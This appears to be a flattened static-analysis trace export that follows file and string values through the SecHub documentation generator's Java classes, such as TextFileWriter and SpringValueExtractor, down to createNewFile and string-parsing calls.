java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java + 23 + 62 + 8 + diagramsGenFolder + + 17 + + + 23 + public void generateMessagingFiles(File messagingFile, File diagramsGenFolder, DomainMessagingModel model + + + + + java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java + 27 + 33 + 9 + diagramsGenFolder + + 17 + + + 27 + generateMessagingPlantumlFile(diagramsGenFolder, reducedModelForOverview, "__Overview__ of domain **messaging** ", + + + + + java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java + 71 + 50 + 10 + diagramsGenFolder + + 17 + + + 71 + private void generateMessagingPlantumlFile(File diagramsGenFolder, DomainMessagingModel model, String title, + + + + + java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java + 74 + 30 + 11 + diagramsGenFolder + + 17 + + + 74 + File targetFile = new File(diagramsGenFolder, targetFileName); + + + + + java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java + 74 + 8 + 12 + targetFile + + 10 + + + 74 + File targetFile = new File(diagramsGenFolder, targetFileName); + + + + + java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java + 75 + 15 + 13 + targetFile + + 10 + + + 75 + writer.save(targetFile, generatedPlantuml); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 14 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 15 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 16 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 17 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 18 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 19 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 20 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 21 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 37 + 28 + 1 + File + + 3 + + + 37 + File diagramsGenFolder = new File(diagramsFolder, "gen"); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 37 + 8 + 2 + diagramsGenFolder + + 17 + + + 37 + File diagramsGenFolder = new File(diagramsFolder, "gen"); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 55 + 51 + 3 + diagramsGenFolder + + 17 + + + 55 + generator.generateMessagingFiles(messagingFile, diagramsGenFolder); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 59 + 63 + 4 + diagramsGenFolder + + 17 + + + 59 + private void generateMessagingFiles(File messagingFile, File diagramsGenFolder) throws IOException { + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 61 + 71 + 5 + diagramsGenFolder + + 17 + + + 61 + domainMessagingFilesGenerator.generateMessagingFiles(messagingFile, diagramsGenFolder, model); + + + + + java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java + 23 + 62 + 6 + diagramsGenFolder + + 17 + + + 23 + public void generateMessagingFiles(File messagingFile, File diagramsGenFolder, DomainMessagingModel model + + + + + java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java + 27 + 33 + 7 + diagramsGenFolder + + 17 + + + 27 + generateMessagingPlantumlFile(diagramsGenFolder, reducedModelForOverview, "__Overview__ of domain **messaging** ", + + + + + java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java + 71 + 50 + 8 + diagramsGenFolder + + 17 + + + 71 + private void generateMessagingPlantumlFile(File diagramsGenFolder, DomainMessagingModel model, String title, + + + + + java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java + 74 + 30 + 9 + diagramsGenFolder + + 17 + + + 74 + File targetFile = new File(diagramsGenFolder, targetFileName); + + + + + java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java + 74 + 8 + 10 + targetFile + + 10 + + + 74 + File targetFile = new File(diagramsGenFolder, targetFileName); + + + + + java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java + 75 + 15 + 11 + targetFile + + 10 + + + 75 + writer.save(targetFile, generatedPlantuml); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 12 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 13 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 14 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 15 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 16 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 17 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 18 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 19 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java + 74 + 21 + 1 + File + + 3 + + + 74 + File targetFile = new File(diagramsGenFolder, targetFileName); + + + + + java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java + 74 + 8 + 2 + targetFile + + 10 + + + 74 + File targetFile = new File(diagramsGenFolder, targetFileName); + + + + + java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java + 75 + 15 + 3 + targetFile + + 10 + + + 75 + writer.save(targetFile, generatedPlantuml); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 4 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 5 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 6 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 7 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 8 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 9 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 10 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 11 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 104 + 10 + 1 + File + + 3 + + + 104 + return new File(genFolder, "gen_messaging.adoc"); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 43 + 49 + 2 + createMessagingTargetFile + + 1 + + + 43 + File messagingFile = createMessagingTargetFile(documentsGenFolder); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 43 + 8 + 3 + messagingFile + + 13 + + + 43 + File messagingFile = createMessagingTargetFile(documentsGenFolder); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 55 + 36 + 4 + messagingFile + + 13 + + + 55 + generator.generateMessagingFiles(messagingFile, diagramsGenFolder); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 59 + 43 + 5 + messagingFile + + 13 + + + 59 + private void generateMessagingFiles(File messagingFile, File diagramsGenFolder) throws IOException { + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 61 + 56 + 6 + messagingFile + + 13 + + + 61 + domainMessagingFilesGenerator.generateMessagingFiles(messagingFile, diagramsGenFolder, model); + + + + + java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java + 23 + 42 + 7 + messagingFile + + 13 + + + 23 + public void generateMessagingFiles(File messagingFile, File diagramsGenFolder, DomainMessagingModel model + + + + + java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java + 60 + 15 + 8 + messagingFile + + 13 + + + 60 + writer.save(messagingFile, sb.toString()); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 9 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 10 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 11 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 12 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 13 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 14 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 15 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 16 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 70 + 21 + 1 + File + + 3 + + + 70 + File targetFile = new File(documentsGenFolder, "gen_usecases.adoc"); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 70 + 8 + 2 + targetFile + + 10 + + + 70 + File targetFile = new File(documentsGenFolder, "gen_usecases.adoc"); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 71 + 15 + 3 + targetFile + + 10 + + + 71 + writer.save(targetFile, useCaseAsciidoc); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 4 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 5 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 6 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 7 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 8 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 9 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 10 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 11 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 74 + 22 + 1 + File + + 3 + + + 74 + File targetFile2 = new File(documentsGenFolder, "gen_uc_restdoc.adoc"); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 74 + 8 + 2 + targetFile2 + + 11 + + + 74 + File targetFile2 = new File(documentsGenFolder, "gen_uc_restdoc.adoc"); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 75 + 15 + 3 + targetFile2 + + 11 + + + 75 + writer.save(targetFile2, usecaseRestDoc); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 4 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 5 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 6 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 7 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 8 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 9 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 10 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 11 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 85 + 22 + 1 + File + + 3 + + + 85 + File targetFile3 = new File(documentsGenFolder, "gen_uc_userdocumentation_restdoc.adoc"); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 85 + 8 + 2 + targetFile3 + + 11 + + + 85 + File targetFile3 = new File(documentsGenFolder, "gen_uc_userdocumentation_restdoc.adoc"); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 86 + 15 + 3 + targetFile3 + + 11 + + + 86 + writer.save(targetFile3, usecaseRestDocUserDocumentation); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 4 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 5 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 6 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 7 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 8 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 9 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 10 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 11 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 267 + 23 + 1 + File + + 3 + + + 267 + return assertExists(new File(ensureKubernetesFolder(), "gen/")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 2 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 3 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 4 + folder + + 6 + + + 287 + return folder; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 267 + 22 + 5 + assertExists + + 1 + + + 267 + return assertExists(new File(ensureKubernetesFolder(), "gen/")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 59 + 72 + 6 + ensureKubernetesGenFolder + + 1 + + + 59 + File generatedDeploymentFilePart = new File(ensureKubernetesGenFolder(), + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 59 + 8 + 7 + generatedDeploymentFilePart + + 27 + + + 59 + File generatedDeploymentFilePart = new File(ensureKubernetesGenFolder(), + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 61 + 15 + 8 + generatedDeploymentFilePart + + 27 + + + 61 + writer.save(generatedDeploymentFilePart, result.serverDeploymentYaml); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 9 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 10 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 11 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 12 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 13 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 14 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 15 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 16 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 59 + 38 + 1 + File + + 3 + + + 59 + File generatedDeploymentFilePart = new File(ensureKubernetesGenFolder(), + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 59 + 8 + 2 + generatedDeploymentFilePart + + 27 + + + 59 + File generatedDeploymentFilePart = new File(ensureKubernetesGenFolder(), + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 61 + 15 + 3 + generatedDeploymentFilePart + + 27 + + + 61 + writer.save(generatedDeploymentFilePart, result.serverDeploymentYaml); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 4 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 5 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 6 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 7 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 8 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 9 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 10 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 11 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 218 + 21 + 1 + File + + 3 + + + 218 + File targetFile = new File(targetFolder, createShellScriptName("all")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 218 + 8 + 2 + targetFile + + 10 + + + 218 + File targetFile = new File(targetFolder, createShellScriptName("all")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 219 + 15 + 3 + targetFile + + 10 + + + 219 + writer.save(targetFile, sb.toString(), true); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 4 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 5 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 6 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 7 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 8 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 9 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 197 + 22 + 1 + File + + 3 + + + 197 + File targetFile = new File(targetFolder, shellName); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 197 + 9 + 2 + targetFile + + 10 + + + 197 + File targetFile = new File(targetFolder, shellName); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 198 + 16 + 3 + targetFile + + 10 + + + 198 + writer.save(targetFile, sb.toString(), true); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 4 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 5 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 6 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 7 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 8 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 9 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 58 + 1 + toLowerCase + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 8 + 2 + scope + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 33 + 10 + 3 + data + + 4 + + + 33 + return data; + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 74 + 4 + buildDataForMustBeDocumented + + 1 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 22 + 5 + data + + 4 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 71 + 12 + 6 + add + + 1 + + + 71 + list.add(data); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 74 + 10 + 7 + list + + 4 + + + 74 + return list; + + + + + java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 46 + 47 + 8 + collect + + 1 + + + 46 + return mustbeDocumentedDataCollector.collect(); + + + + + java/com/daimler/sechub/docgen/spring/MockPropertiesDescriptionGenerator.java + 28 + 68 + 9 + fetchMustBeDocumentParts + + 1 + + + 28 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/MockPropertiesDescriptionGenerator.java + 28 + 27 + 10 + list + + 4 + + + 28 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/MockPropertiesDescriptionGenerator.java + 29 + 23 + 11 + list + + 4 + + + 29 + if (list == null || list.isEmpty()) { + + + + + java/com/daimler/sechub/docgen/spring/MockPropertiesDescriptionGenerator.java + 38 + 61 + 12 + springValue + + 1 + + + 38 + SpringValue extracted = springValueExtractor.extract(data.springValue); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 46 + 36 + 13 + string + + 6 + + + 46 + public SpringValue extract(String string) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 23 + 14 + string + + 6 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 35 + 15 + split + + 1 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 12 + 16 + splitted + + 8 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 53 + 22 + 17 + splitted + + 8 + + + 53 + for (String split: splitted) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 55 + 19 + 18 + split + + 5 + + + 55 + firstNotEmpty=split.trim(); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 55 + 29 + 19 + trim + + 1 + + + 55 + firstNotEmpty=split.trim(); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 55 + 5 + 20 + firstNotEmpty + + 13 + + + 55 + firstNotEmpty=split.trim(); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 56 + 37 + 21 + firstNotEmpty + + 13 + + + 56 + if (firstNotEmpty.length()>1 && firstNotEmpty.endsWith("}")) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 56 + 9 + 22 + firstNotEmpty + + 13 + + + 56 + if (firstNotEmpty.length()>1 && firstNotEmpty.endsWith("}")) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 67 + 19 + 23 + firstNotEmpty + + 13 + + + 67 + int leftIndex = firstNotEmpty.indexOf(":"); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 67 + 40 + 24 + indexOf + + 1 + + + 67 + int leftIndex = firstNotEmpty.indexOf(":"); + + + + + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 47 + 57 + 1 + toLowerCase + + 1 + + + 47 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 47 + 7 + 2 + scope + + 1 + + + 47 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 48 + 10 + 3 + data + + 4 + + + 48 + return data; + + + + + java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 69 + 59 + 4 + buildDataBy + + 1 + + + 69 + DocAnnotationData data2 = DocGeneratorUtil.buildDataBy(info2, field); + + + + + java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 69 + 23 + 5 + data2 + + 5 + + + 69 + DocAnnotationData data2 = DocGeneratorUtil.buildDataBy(info2, field); + + + + + java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 71 + 13 + 6 + add + + 1 + + + 71 + list.add(data2); + + + + + java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 48 + 5 + 7 + list + + 4 + + + 48 + list.add(data0); + + + + + java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 60 + 5 + 8 + list + + 4 + + + 60 + list.add(data1); + + + + + java/com/daimler/sechub/docgen/spring/MockedAdaptersSpringValueDataCollector.java + 76 + 10 + 9 + list + + 4 + + + 76 + return list; + + + + + java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 50 + 56 + 10 + collect + + 1 + + + 50 + return mockedAdaptersSprintValueDataCollector.collect(); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 133 + 106 + 11 + fetchMockAdapterSpringValueDocumentationParts + + 1 + + + 133 + String text = 